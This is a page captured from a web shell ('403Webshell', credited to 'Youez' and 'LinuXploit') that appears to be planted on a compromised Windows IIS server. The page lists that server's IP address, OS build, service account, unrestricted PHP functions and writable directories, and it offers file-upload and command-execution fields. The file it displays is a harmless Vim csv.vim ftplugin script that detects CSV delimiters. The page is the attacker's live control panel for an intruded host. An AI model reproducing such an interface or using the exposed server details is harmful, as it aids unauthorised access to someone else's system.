403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Git/usr/share/vim/vim91/ftplugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/Git/usr/share/vim/vim91/ftplugin/csv.vim
vim9script

# Maintainer: Maxim Kim <habamax@gmail.com>
# Last Update: 2024-06-18

if !exists("b:csv_delimiter")
    # detect delimiter
    var delimiters = ",;\t|"

    var max = 0
    for d in delimiters
        var count = getline(1)->split(d)->len() + getline(2)->split(d)->len()
        if count > max
            max = count
            b:csv_delimiter = d
        endif
    endfor
endif

if exists("b:did_ftplugin")
    finish
endif
b:did_ftplugin = 1

Youez - 2016 - github.com/yon3zu
LinuXploit